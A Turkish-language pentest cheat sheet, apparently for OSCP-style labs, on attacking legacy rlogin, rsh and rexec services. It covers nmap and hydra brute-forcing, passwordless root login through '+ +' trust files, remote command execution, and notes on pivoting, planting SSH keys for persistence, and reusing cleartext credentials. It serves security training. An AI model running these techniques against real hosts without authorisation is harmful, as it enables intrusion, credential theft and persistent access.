FOOTHOLD Metodoloji Cheat-sheet
514

r-services (rlogin/rsh/rexec)

linux

Berkeley r-services: rexec (512), rlogin (513), rsh (514). Trust-based kimlik dogrulama (.rhosts / hosts.equiv). Kotu konfigure edilmis '+ +' trust ile sifresiz root/user girisi mumkun.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -Pn -p 512,513,514 --script rexec-brute,rlogin-brute,rsh-brute {{RHOST}}
rexec/rlogin/rsh servis tespiti ve credential brute-force NSE scriptleri HackTricks - Pentesting rexec/rlogin/rsh (512,513,514)
rlogin ✓ EXAM-SAFE # root
rlogin -l root {{RHOST}}
.rhosts/hosts.equiv trust kotuye kullanim: root olarak parolasiz oturum dene HackTricks - 513 Pentesting Rlogin
rsh ✓ EXAM-SAFE # root
rsh -l root {{RHOST}} id
rsh trust uzerinden non-interaktif komut calistirip RCE dogrula HackTricks - Pentesting rexec/rlogin/rsh (512,513,514)
rexec ✓ EXAM-SAFE user
rexec -l {{USER}} -p {{PASS}} {{RHOST}} id
rexec ile gecerli credential kullanarak uzaktan komut calistir HackTricks - Pentesting rexec/rlogin/rsh (512,513,514)
hydra ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} rexec://{{RHOST}}
rexec servisine kullanici/parola brute-force HackTricks - Pentesting rexec/rlogin/rsh (512,513,514)

Servis Hakkinda

BSD r-services eski, sifresiz/zayif kimlik dogrulamali uzaktan erisim servisleridir:

  • 512/TCP rexec (rexecd): Kullanici/parola ile uzaktan komut calistirir.
  • 513/TCP rlogin (rlogind): Telnet benzeri uzak oturum; trust varsa parola istemez.
  • 514/TCP rsh (rshd / shell): Uzak komut/shell; trust tabanli.

Trust Mekanizmasi (Asil Zafiyet)

Kimlik dogrulama ~/.rhosts ve /etc/hosts.equiv dosyalarina dayanir. Bir satir hostname username formatindadir. Eger bu dosyalarda joker + + (her host, her kullanici) varsa, herhangi bir makineden parolasiz olarak o kullanici (cogu zaman root) olarak giris yapilabilir. Bu klasik bir OSCP/PG bulgusudur (orn. Metasploitable, eski Solaris/HP-UX).

Enumeration

nmap ile 512/513/514 acik mi bak. Servis acikken trust’i denemek dogrudan exploitation’dir: rlogin -l root {{RHOST}} parola sormadan oturum verirse trust yanlis yapilandirilmis demektir. rsh ile tek komut calistirip cikti almak hizli bir dogrulama saglar (orn. id).

Sömuru

  • Once root, sonra bulunan diger kullanici adlariyla rlogin -l <user> dene.
  • rsh {{RHOST}} -l root <komut> ile non-interaktif RCE dogrula.
  • rexec icin gecerli credential gerekir; brute-force hydra rexec modulu ile yapilabilir.
  • Onemli gotcha: istemci taraflari rsh-client / rsh-redone-client paketinden gelir; Kali’de apt install rsh-client gerekebilir. Ayrica modern rlogin kaynak portu <1024 ister, root olarak calistir.

Pivot / Loot Notlari

Trust ile root shell aldiktan sonra ~/.ssh/, /root/.rhosts, /etc/hosts.equiv ve diger makinelere giden trust iliskilerini incele - bir host’taki trust digerine pivot saglayabilir. SSH anahtarlari ekleyerek kalici erisim kur. r-services trafigi cleartext oldugu icin yakalanan credential’lar baska servislerde de denenebilir.

┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set